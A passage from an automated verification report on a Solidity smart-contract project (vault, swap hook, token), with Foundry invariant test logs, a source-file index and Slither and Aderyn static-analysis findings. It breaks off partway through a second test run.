(gas: 547095)\nSuite result: ok. 33 passed; 0 failed; 0 skipped; finished in 312.39ms (353.08ms CPU time)\n\nRan 1 test for test/KeptVaultActorsInvariant.t.sol:KeptVaultActorsInvariantTest\n[PASS]\nKeptVaultActorsInvariantTest invariants:\n[PASS] invariant_imdConserved\n[PASS] invariant_openCountMatches\n[PASS] invariant_rulesHold\n[PASS] invariant_teamTokensConserved\n KeptVaultActorsInvariantTest invariants (runs: 64, calls: 6400, reverts: 0)\n\n╭---------------+----------+-------+---------+----------╮\n| Contract      | Selector | Calls | Reverts | Discards |\n+=======================================================+\n| ActorsHandler | answer   | 596   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | check    | 565   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | clear    | 605   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | create   | 582   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | donate   | 599   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | fund     | 553   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | reprice  | 562   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | rotate   | 585   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | settle   | 583   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | wait     | 552   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | withdraw | 618   | 0       | 0        |\n╰---------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 700000000000008196\n  Bound result 1766\n  Bound result 21017\n  Bound result 40\n  Bound result 4\n  Bound result 860412\n  Bound result 20468\n  Bound result 860412\n  Bound result 20468\n  Bound result 860412\n  Bound result 20468\n  Bound result 860412\n  Bound result 20468\n  Bound result 12730\n  Bound result 16303\n  Bound result 1\n  Bound result 13342\n  Bound result 1\n  Bound result 700000000000003811\n  Bound result 10236\n  Bound result 2\n  Bound result 820011\n  Bound result 235\n  Bound result 820011\n  Bound result 235\n  Bound result 8056\n  Bound result 700000000000016115\n  Bound result 700000000000016121\n  Bound result 1\n  Bound result 860473\n  Bound result 834608682242094266405572\n  Bound result 1904081839772479143\n  Bound result 1\n  Bound result 2\n  Bound result 172800\n  Bound result 1\n  Bound result 84154\n  Bound result 1519338577213101\n  Bound result 1943390248827724407\n  Bound result 700000000000009351\n  Bound result 1\n  Bound result 1\n  Bound result 1488\n  Bound result 4\n  Bound result 2\n  Bound result 2827\n  Bound result 4\n  Bound result 1\n  Bound result 42161\n  Bound result 3593\n  Bound result 1441\n  Bound result 4\n  Bound result 4096\n  Bound result 1466659622\n  Bound result 4096\n  Bound result 1466659622\n  Bound result 4096\n  Bound result 1466659622\n  Bound result 4096\n  Bound result 1466659622\n  Bound result 1064470261\n  Bound result 6\n  Bound result 19032\n  Bound result 12940\n  Bound result 1849\n  Bound result 5\n  Bound result 4\n  Bound result 3\n  Bound result 3603\n  Bound result 1155208902445\n  Bound result 3603\n  Bound result 1155208902445\n  Bound result 3603\n  Bound result 1155208902445\n  Bound result 1243377696693487047\n  Bound result 2\n  Bound result 5\n  Bound result 1\n  Bound result 189\n  Bound result 7\n  Bound result 12652\n  Bound result 6\n  Bound result 3\n  Bound result 4\n  Bound result 2\n  Bound result 1\n  Bound result 16515\n  Bound result 700000000000015177\n  Bound result 5\n  Bound result 3\n  Bound result 13334\n  Bound result 2376452955\n  Bound result 13334\n  Bound result 2376452955\n  Bound result 13334\n  Bound result 2376452955\n  Bound result 20340\n  Bound result 4\n  Bound result 1705\n  Bound result 700000000000005437\n  Bound result 28800\n  Bound result 4\n  Bound result 346482\n  Bound result 1\n  Bound result 346482\n  Bound result 1\n  Bound result 346482\n  Bound result 1\n  Bound result 346482\n  Bound result 1\n  Bound result 372815452998599942\n  Bound result 2\n  Bound result 4\n  Bound result 4\n  Bound result 2\n  Bound result 5361\n  Bound result 7987\n  Bound result 1216563762\n  Bound result 351456840210681406\n  Bound result 7\n  Bound result 1484606236135815536\n  Bound result 42\n  Bound result 4\n  Bound result 9\n  Bound result 10300\n  Bound result 3\n  Bound result 47\n  Bound result 2\n  Bound result 5643657678917\n  Bound result 7\n  Bound result 1\n  Bound result 860502\n  Bound result 15514\n  Bound result 1626\n  Bound result 5\n  Bound result 1\n  Bound result 1337976678897077669\n  Bound result 1000000000000000000\n  Bound result 5\n  Bound result 7\n  Bound result 27\n  Bound result 700000000000009485\n  Bound result 4\n  Bound result 6718\n  Bound result 190849786358304330\n  Bound result 8\n  Bound result 3\n  Bound result 8\n  Bound result 616684279554989\n  Bound result 1149634294\n  Bound result 2\n  Bound result 860441\n  Bound result 594046494382609533048121\n  Bound result 860441\n  Bound result 594046494382609533048121\n  Bound result 15587\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.52s (8.50s CPU time)\n\nRan 1 test for test/VaultInvariant.t.sol:VaultInvariantTest\n[PASS]\nVaultInvariantTest invariants:\n[PASS] invariant_imdAccounted\n[PASS] invariant_settledMilestonesHaveOutcome\n[PASS] invariant_tokensConserved\n VaultInvariantTest invariants (runs: 128, calls: 16384, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| VaultHandler | answer   | 1799  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | check    | 1805  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | clear    | 1828  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | create   | 1783  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | donate   | 1845  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | fund     | 1806  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | settle   | 1814  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | wait     | 1874  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | withdraw | 1830  | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 86937\n  Bound result 1432\n  Bound result 1\n  Bound result 863941\n  Bound result 1799\n  Bound result 1599\n  Bound result 8886\n  Bound result 1\n  Bound result 563811617509869948\n  Bound result 1\n  Bound result 221218\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2430097\n  Bound result 1\n  Bound result 20\n  Bound result 1\n  Bound result 16387\n  Bound result 2018\n  Bound result 4725\n  Bound result 2\n  Bound result 1\n  Bound result 18\n  Bound result 2\n  Bound result 900\n  Bound result 1482\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 1\n  Bound result 9471\n  Bound result 121945\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 972\n  Bound result 2\n  Bound result 14181\n  Bound result 2\n  Bound result 20823\n  Bound result 6807\n  Bound result 20823\n  Bound result 6807\n  Bound result 8179\n  Bound result 1\n  Bound result 483\n  Bound result 3\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 3\n  Bound result 1\n  Bound result 3\n  Bound result 516\n  Bound result 3\n  Bound result 2\n  Bound result 11\n  Bound result 96\n  Bound result 4\n  Bound result 8753\n  Bound result 1389714706\n  Bound result 8753\n  Bound result 1389714706\n  Bound result 8753\n  Bound result 1389714706\n  Bound result 8753\n  Bound result 1389714706\n  Bound result 1606\n  Bound result 2\n  Bound result 4\n  Bound result 860554\n  Bound result 1423\n  Bound result 860554\n  Bound result 1423\n  Bound result 860554\n  Bound result 1423\n  Bound result 860554\n  Bound result 1423\n  Bound result 844\n  Bound result 5\n  Bound result 816850279\n  Bound result 4\n  Bound result 5\n  Bound result 12957\n  Bound result 3\n  Bound result 200000\n  Bound result 17024\n  Bound result 200000\n  Bound result 17024\n  Bound result 200000\n  Bound result 17024\n  Bound result 231\n  Bound result 2\n  Bound result 4060877235\n  Bound result 6\n  Bound result 4\n  Bound result 19451\n  Bound result 201580172512298086386466\n  Bound result 19451\n  Bound result 201580172512298086386466\n  Bound result 19451\n  Bound result 201580172512298086386466\n  Bound result 19451\n  Bound result 201580172512298086386466\n  Bound result 12661\n  Bound result 7\n  Bound result 5366\n  Bound result 4\n  Bound result 8837\n  Bound result 7\n  Bound result 4\n  Bound result 290833921052909651\n  Bound result 4\n  Bound result 8629\n  Bound result 6\n  Bound result 6\n  Bound result 2\n  Bound result 3\n  Bound result 4\n  Bound result 2\n  Bound result 2\n  Bound result 3\n  Bound result 42759\n  Bound result 3074\n  Bound result 4\n  Bound result 5\n  Bound result 1986909742709302924\n  Bound result 7\n  Bound result 2113064533707600949\n  Bound result 2\n  Bound result 3\n  Bound result 2\n  Bound result 6\n  Bound result 1\n  Bound result 10192\n  Bound result 1\n  Bound result 172800\n  Bound result 4\n  Bound result 12903\n  Bound result 16208\n  Bound result 12903\n  Bound result 16208\n  Bound result 12903\n  Bound result 16208\n  Bound result 12903\n  Bound result 16208\n  Bound result 5615\n  Bound result 5\n  Bound result 6\n  Bound result 1\n  Bound result 860427\n  Bound result 140877024194983170\n  Bound result 0\n  Bound result 9\n  Bound result 6\n  Bound result 7\n  Bound result 444\n  Bound result 1\n  Bound result 19381\n  Bound result 2\n  Bound result 4\n  Bound result 860502\n  Bound result 10146\n  Bound result 860502\n  Bound result 10146\n  Bound result 860502\n  Bound result 10146\n  Bound result 860502\n  Bound result 10146\n  Bound result 2221339669\n  Bound result 3\n  Bound result 9\n  Bound result 106\n  Bound result 1\n  Bound result 3\n  Bound result 4240\n  Bound result 10\n  Bound result 9\n  Bound result 3\n  Bound result 7852\n  Bound result 16118\n  Bound result 7852\n  Bound result 16118\n  Bound result 7852\n  Bound result 16118\n  Bound result 7624\n  Bound result 2117\n  Bound result 8\n  Bound result 2082849318771142908\n  Bound result 4\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 17.24s (17.23s CPU time)\n\nRan 2 tests for test/VaultInvariant.t.sol:VaultHandlerSmokeTest\n[PASS]\nVaultHandlerSmokeTest invariants:\n[PASS] invariant_imdAccounted\n[PASS] invariant_settledMilestonesHaveOutcome\n[PASS] invariant_tokensConserved\n VaultHandlerSmokeTest invariants (runs: 128, calls: 16384, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| VaultHandler | answer   | 1799  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | check    | 1805  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | clear    | 1828  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | create   | 1783  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | donate   | 1845  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | fund     | 1806  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | settle   | 1814  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | wait     | 1874  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | withdraw | 1830  | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 86936\n  Bound result 3521045371\n  Bound result 3\n  Bound result 863941\n  Bound result 2014\n  Bound result 863941\n  Bound result 2014\n  Bound result 863941\n  Bound result 2014\n  Bound result 10038\n  Bound result 2286\n  Bound result 1\n  Bound result 563811617509869948\n  Bound result 1\n  Bound result 221218\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2430097\n  Bound result 1\n  Bound result 20\n  Bound result 1\n  Bound result 732361\n  Bound result 726142741105178168243183\n  Bound result 6018\n  Bound result 2\n  Bound result 2\n  Bound result 18\n  Bound result 1\n  Bound result 900\n  Bound result 1482\n  Bound result 1\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 1\n  Bound result 10173\n  Bound result 121945\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 1245\n  Bound result 1\n  Bound result 14477\n  Bound result 2\n  Bound result 20823\n  Bound result 8288\n  Bound result 20823\n  Bound result 8288\n  Bound result 8378\n  Bound result 1\n  Bound result 483\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 3\n  Bound result 1\n  Bound result 3\n  Bound result 3\n  Bound result 3\n  Bound result 2\n  Bound result 3926\n  Bound result 2\n  Bound result 2\n  Bound result 11\n  Bound result 96\n  Bound result 4\n  Bound result 6814\n  Bound result 1383\n  Bound result 6814\n  Bound result 1383\n  Bound result 6814\n  Bound result 1383\n  Bound result 6814\n  Bound result 1383\n  Bound result 862\n  Bound result 2\n  Bound result 4\n  Bound result 860554\n  Bound result 5809\n  Bound result 860554\n  Bound result 5809\n  Bound result 860554\n  Bound result 5809\n  Bound result 860554\n  Bound result 5809\n  Bound result 845\n  Bound result 5\n  Bound result 816850279\n  Bound result 5\n  Bound result 5\n  Bound result 13017\n  Bound result 3\n  Bound result 200000\n  Bound result 17020\n  Bound result 200000\n  Bound result 17020\n  Bound result 200000\n  Bound result 17020\n  Bound result 1243\n  Bound result 2\n  Bound result 4640\n  Bound result 3\n  Bound result 4\n  Bound result 253930\n  Bound result 495374880689227937691182\n  Bound result 253930\n  Bound result 495374880689227937691182\n  Bound result 253930\n  Bound result 495374880689227937691182\n  Bound result 253930\n  Bound result 495374880689227937691182\n  Bound result 12838\n  Bound result 7\n  Bound result 6157\n  Bound result 7\n  Bound result 74436\n  Bound result 4\n  Bound result 4\n  Bound result 563811621033389910\n  Bound result 7\n  Bound result 8974\n  Bound result 6\n  Bound result 6\n  Bound result 2\n  Bound result 3\n  Bound result 4\n  Bound result 2\n  Bound result 2\n  Bound result 3\n  Bound result 42759\n  Bound result 4782\n  Bound result 4\n  Bound result 5\n  Bound result 290659219260333635\n  Bound result 1\n  Bound result 2028057827454112402\n  Bound result 2\n  Bound result 3\n  Bound result 2\n  Bound result 6\n  Bound result 1\n  Bound result 10303\n  Bound result 2\n  Bound result 172800\n  Bound result 4\n  Bound result 11771\n  Bound result 16958\n  Bound result 11771\n  Bound result 16958\n  Bound result 11771\n  Bound result 16958\n  Bound result 11771\n  Bound result 16958\n  Bound result 5607\n  Bound result 7\n  Bound result 6\n  Bound result 1\n  Bound result 860427\n  Bound result 140877024194983170\n  Bound result 0\n  Bound result 9\n  Bound result 6\n  Bound result 7\n  Bound result 10230\n  Bound result 1\n  Bound result 19508\n  Bound result 2\n  Bound result 1\n  Bound result 860502\n  Bound result 4718\n  Bound result 179145366892468985\n  Bound result 8\n  Bound result 9\n  Bound result 62\n  Bound result 1\n  Bound result 3\n  Bound result 2782\n  Bound result 10\n  Bound result 9\n  Bound result 3\n  Bound result 7838\n  Bound result 16957\n  Bound result 7838\n  Bound result 16957\n  Bound result 7838\n  Bound result 16957\n  Bound result 7637\n  Bound result 10134\n  Bound result 8\n  Bound result 2082849318771142908\n  Bound result 11\n\n[PASS] test_handlerReachesPayoutAndBurn() (gas: 2028271)\nLogs:\n  Bound result 2\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 2000000000000000000\n  Bound result 1\n  Bound result 1\n  Bound result 259200\n  Bound result 259200\n  Bound result 1\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 17.43s (17.42s CPU time)\n\nRan 18 test suites in 17.43s (45.46s CPU time): 157 tests passed, 0 failed, 1 skipped (158 total tests)\n","passed":true},{"durationMs":250,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KeptHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"KeptHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"KeptHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"KeptHook.sweep()\",\"KeptHook.unlockCallback(bytes)\",\"KeptToken.approve(address,uint256)\",\"KeptToken.transfer(address,uint256)\",\"KeptToken.transferFrom(address,address,uint256)\",\"KeptVault.cancelProtocol()\",\"KeptVault.check(uint256,uint8)\",\"KeptVault.check(uint256,uint8,uint256)\",\"KeptVault.clearStale(uint256,uint8)\",\"KeptVault.createPledge(address,address,string,(uint8,uint64,uint128,uint64,address,uint256,string,string,string)[],uint256)\",\"KeptVault.executeProtocol()\",\"KeptVault.fund(uint256,uint256)\",\"KeptVault.fundReferee(uint256)\",\"KeptVault.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"KeptVault.proposeProtocol(address,bytes32,address)\",\"KeptVault.setOwner(address)\",\"KeptVault.setPanel(uint16,uint16)\",\"KeptVault.settle(uint256,uint8)\",\"KeptVault.withdrawBudget(uint256)\"],\"files\":{\".gitattributes\":2,\".gitignore\":5,\"ADAPTATION.md\":162,\"README.md\":132,\"dist/apple-touch-icon.png\":8,\"dist/assets/ccip-CaZZqoFJ.js\":1,\"dist/assets/ibm-plex-mono-latin-400-normal-CvHOgSBP.woff\":60,\"dist/assets/ibm-plex-mono-latin-400-normal-DMJ8VG8y.woff2\":58,\"dist/assets/ibm-plex-mono-latin-500-normal-CB9ihrfo.woff\":51,\"dist/assets/ibm-plex-mono-latin-500-normal-DSY6xOcd.woff2\":62,\"dist/assets/ibm-plex-mono-latin-600-normal-BgSNZQsw.woff2\":78,\"dist/assets/ibm-plex-mono-latin-600-normal-DWFSQ4vo.woff\":53,\"dist/assets/index-C4mfrCCb.js\":36,\"dist/assets/index-TiwfCIFz.css\":1,\"dist/assets/secp256k1-BNTI0_yw.js\":1,\"dist/assets/swarm-DuldE8ej.js\":83,\"dist/assets/utils-Bpv4vmSW.js\":1,\"dist/favicon-32.png\":4,\"dist/favicon.svg\":5,\"dist/icon-512.png\":8,\"dist/index.html\":23,\"docs/ORACLE_PREFLIGHT.json\":384,\"docs/OUTREACH.md\":60,\"docs/SPEC.md\":156,\"docs/SUBMISSION.md\":81,\"docs/VERIFICATION.md\":227,\"docs/brand/generate_logos.py\":62,\"docs/brand/kept-avatar-400.png\":12,\"docs/brand/kept-avatar.png\":34,\"docs/brand/kept-avatar.svg\":7,\"docs/brand/kept-logo-dark.png\":54,\"docs/brand/kept-logo-dark.svg\":61,\"docs/brand/kept-logo.png\":70,\"docs/brand/kept-logo.svg\":61,\"docs/brand/kept-mark-dark.png\":38,\"docs/brand/kept-mark-dark.svg\":59,\"docs/brand/kept-mark.png\":126,\"docs/brand/kept-mark.svg\":59,\"docs/brand/kept-stamp.png\":215,\"docs/brand/kept-stamp.svg\":64,\"docs/brand/kept-x-banner.png\":790,\"docs/brand/kept-x-banner@2x.png\":2387,\"docs/launches/vault-2172.adaptation.md\":150,\"docs/launches/vault-2172.launch.json\":18,\"docs/research.md\":61,\"docs/screenshots/local-home-light.png\":833,\"docs/screenshots/local-home.png\":768,\"docs/screenshots/local-how.png\":310,\"docs/screenshots/local-make-pledge.png\":323,\"docs/screenshots/local-mobile.png\":242,\"docs/screenshots/local-pledge.png\":332,\"foundry.toml\":21,\"remappings.txt\":4,\"script/LocalDemo.s.sol\":111,\"scripts/launch/.gitignore\":2,\"scripts/launch/README.md\":61,\"scripts/launch/launch.mjs\":474,\"scripts/launch/package-lock.json\":248,\"scripts/launch/package.json\":14,\"src/KeptHook.sol\":218,\"src/KeptToken.sol\":60,\"src/KeptVault.sol\":664,\"src/OracleAttestation.sol\":239,\"src/interfaces/IIntake.sol\":18,\"src/libraries/HookFlags.sol\":30,\"src/libraries/Questions.sol\":250,\"src/libraries/SpecifiedAmount.sol\":101,\"test/KeptHook.t.sol\":282,\"test/KeptHookLaunch.t.sol\":120,\"test/KeptToken.t.sol\":89,\"test/KeptVault.t.sol\":639,\"test/KeptVaultActorsInvariant.t.sol\":492,\"test/KeptVaultAudit.t.sol\":243,\"test/KeptVaultFailurePaths.t.sol\":642,\"test/KeptVaultLaunch.t.sol\":100,\"test/KeptVaultTokenCompatibility.t.sol\":49,\"test/OracleConformance.t.sol\":119,\"test/RealAttestation.t.sol\":66,\"test/VaultInvariant.t.sol\":228,\"test/fork/Robinhood.t.sol\":176,\"test/helpers/HookFixture.sol\":183,\"test/helpers/TestRouter.sol\":70,\"test/helpers/VaultFixture.sol\":190,\"test/mocks/FeeToken.sol\":27,\"test/mocks/MockERC20.sol\":58,\"test/mocks/MockIntake.sol\":64,\"vercel.json\":20,\"web/README.md\":76,\"web/index.html\":19,\"web/package-lock.json\":1015,\"web/package.json\":18,\"web/public/apple-touch-icon.png\":8,\"web/public/favicon-32.png\":4,\"web/public/favicon.svg\":5,\"web/public/icon-512.png\":8,\"web/src/abi/KeptHook.json\":658,\"web/src/abi/KeptToken.json\":244,\"web/src/abi/KeptVault.json\":1940,\"web/src/chain.js\":335,\"web/src/config.js\":30,\"web/src/dom.js\":84,\"web/src/fx.js\":325,\"web/src/hero.js\":149,\"web/src/icons.js\":42,\"web/src/main.js\":1410,\"web/src/store.js\":88,\"web/src/styles.css\":772,\"web/src/swarm.js\":586,\"web/src/ui.js\":219,\"web/vite.config.js\":42},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":11637,"exitCode":0,"name":"slither","output":"[high/medium] reentrancy-balance at src/KeptVault.sol:296: Reentrancy in KeptVault._check(uint256,uint8,uint256) (src/KeptVault.sol#296-335):\n[medium/medium] divide-before-multiply at src/libraries/Questions.sol:139: Questions.isoDate(uint256) (src/libraries/Questions.sol#139-165) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/Questions.sol:139: Questions.isoDate(uint256) (src/libraries/Questions.sol#139-165) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/Questions.sol:139: Questions.isoDate(uint256) (src/libraries/Questions.sol#139-165) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/Questions.sol:139: Questions.isoDate(uint256) (src/libraries/Questions.sol#139-165) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libraries/Questions.sol:139: Questions.isoDate(uint256) (src/libraries/Questions.sol#139-165) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/KeptVault.sol:634: KeptVault._setProtocol(address,bytes32,address) (src/KeptVault.sol#634-640) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/KeptHook.sol:123: KeptHook.beforeSwap(address,PoolKey,SwapParams,bytes) (src/KeptHook.sol#123-154) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/KeptVault.sol:574: KeptVault.executeProtocol() (src/KeptVault.sol#574-580) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/KeptHook.sol:177: KeptHook._accrue(uint256,bool) (src/KeptHook.sol#177-186) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/KeptHook.sol:111: KeptHook.feeNow() (src/KeptHook.sol#111-116) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/KeptHook.sol:177: KeptHook._accrue(uint256,bool) (src/KeptHook.sol#177-186) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/KeptVault.sol:296: KeptVault._check(uint256,uint8,uint256) (src/KeptVault.sol#296-335) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/KeptHook.sol:195: Reentrancy in KeptHook.sweep() (src/KeptHook.sol#195-207):\n[medium/medium] uninitialized-local at src/KeptVault.sol:236: KeptVault.createPledge(IERC20,address,string,KeptVault.MilestoneInput[],uint256).total (src/KeptVault.sol#236) is a local variable never initialized\n[medium/medium] unused-return at src/libraries/SpecifiedAmount.sol:24: SpecifiedAmount.filled(IPoolManager,PoolKey,SwapParams) (src/libraries/SpecifiedAmount.sol#24-75) ignores return value by (None,net) = manager.getTickLiquidity(id,next) (src/libraries/SpecifiedAmount.sol#62)\n[medium/medium] unused-return at src/KeptHook.sol:195: KeptHook.sweep() (src/KeptHook.sol#195-207) ignores return value by poolManager.unlock() (src/KeptHook.sol#198)\n[low/medium] missing-zero-check at src/KeptVault.sol:588: KeptVault.setOwner(address).next (src/KeptVault.sol#588) lacks a zero-check on :\n[low/medium] reentrancy-benign at src/KeptVault.sol:296: Reentrancy in KeptVault._check(uint256,uint8,uint256) (src/KeptVault.sol#296-335):\n[low/medium] reentrancy-events at src/KeptHook.sol:195: Reentrancy in KeptHook.sweep() (src/KeptHook.sol#195-207):\n[low/medium] reentrancy-events at src/KeptHook.sol:177: Reentrancy in KeptHook._accrue(uint256,bool) (src/KeptHook.sol#177-186):\n[low/medium] timestamp at src/KeptVault.sol:211: KeptVault.createPledge(IERC20,address,string,KeptVault.MilestoneInput[],uint256) (src/KeptVault.sol#211-260) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptHook.sol:111: KeptHook.feeNow() (src/KeptHook.sol#111-116) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptVault.sol:574: KeptVault.executeProtocol() (src/KeptVault.sol#574-580) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptHook.sol:177: KeptHook._accrue(uint256,bool) (src/KeptHook.sol#177-186) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptVault.sol:389: KeptVault.clearStale(uint256,uint8) (src/KeptVault.sol#389-395) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptHook.sol:123: KeptHook.beforeSwap(address,PoolKey,SwapParams,bytes) (src/KeptHook.sol#123-154) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptVault.sol:296: KeptVault._check(uint256,uint8,uint256) (src/KeptVault.sol#296-335) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptVault.sol:621: KeptVault._verifyWith(OracleAttestation.Attestation,bytes,address) (src/KeptVault.sol#621-632) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptVault.sol:538: KeptVault._checkOpen(uint256,uint8,uint256) (src/KeptVault.sol#538-553) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptVault.sol:400: KeptVault.settle(uint256,uint8) (src/KeptVault.sol#400-424) uses timestamp for comparisons\n[low/medium] timestamp at src/OracleAttestation.sol:164: OracleAttestationConsumer._verifyAttestation(OracleAttestation.Attestation,bytes) (src/OracleAttestation.sol#164-175) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptVault.sol:634: KeptVault._setProtocol(address,bytes32,address) (src/KeptVault.sol#634-640) uses timestamp for comparisons","passed":true},{"durationMs":1480,"exitCode":0,"name":"aderyn","output":"[high] reentrancy-state-change at src/KeptHook.sol:198: Reentrancy: State change after external call\n[low] centralization-risk at src/KeptVault.sol:558: Centralization Risk (4 places)\n[low] costly-loop at src/KeptVault.sol:237: Costly operations inside loop\n[low] internal-function-used-once at src/OracleAttestation.sol:195: Internal Function Used Only Once (6 places)\n[low] large-numeric-literal at src/KeptHook.sol:35: Large Numeric Literal (2 places)\n[low] literal-instead-of-constant at src/libraries/Questions.sol:45: Literal Instead of Constant (25 places)\n[low] local-variable-shadowing at src/KeptVault.sol:60: Local Variable Shadows State Variable (4 places)\n[low] missing-inheritance at src/KeptToken.sol:5: Missing Inheritance\n[low] require-revert-in-loop at src/KeptVault.sol:237: Loop Contains `require`/`revert` (2 places)\n[low] state-no-address-check at src/KeptVault.sol:589: Address State Variable Set Without Checks\n[low] unchecked-return at src/KeptHook.sol:198: Unchecked Return\n[low] uninitialized-local-variable at src/KeptVault.sol:237: Uninitialized Local Variable (5 places)","passed":true},{"durationMs":18808,"exitCode":0,"name":"proof 277d240eb0ff","output":"Compiling 106 files with Solc 0.8.26\nSolc 0.8.26 finished in 17.71s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-92538392/Proof_277d240eb0ff.t.sol:EmptyPoolOpensWindowTest\n[PASS] test_oneWeiSwapOnEmptyPoolMustNotOpenTheWindow() (gas: 493485)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.96ms (430.14µs CPU time)\n\nRan 1 test suite in 5.12ms (1.96ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"105f7daf753d211bbab3319e5212b944203c2fc569c877d55fa055c587772656","verifiedTreeHash":"69068a42e21a181d28cd94ea12a413ed3a7d6d2f","verifierVersion":"0.1.0+fddeb651"},{"checks":[{"durationMs":110205,"exitCode":0,"name":"build","output":"Compiling 120 files with Solc 0.8.26\nSolc 0.8.26 finished in 110.08s\nCompiler run successful!\n","passed":true},{"durationMs":11745,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RealAttestation.t.sol:RealAttestationTest\n[PASS] test_liveSignatureRecoversTheLiveSigner() (gas: 12095)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 398.65µs (278.96µs CPU time)\n\nRan 1 test for test/fork/Robinhood.t.sol:RobinhoodForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 462.27µs (0.00ns CPU time)\n\nRan 2 tests for test/KeptHook.t.sol:KeptHookOpeningTest\n[PASS] test_oneWeiSwapOnEmptyPoolIsChargedButDoesNotOpenTheWindow() (gas: 930834)\n[PASS] test_oneWeiSwapOnSeededPoolDoesNotOpenTheWindowEither() (gas: 661826)\nSuite result: ok. 2 passed; 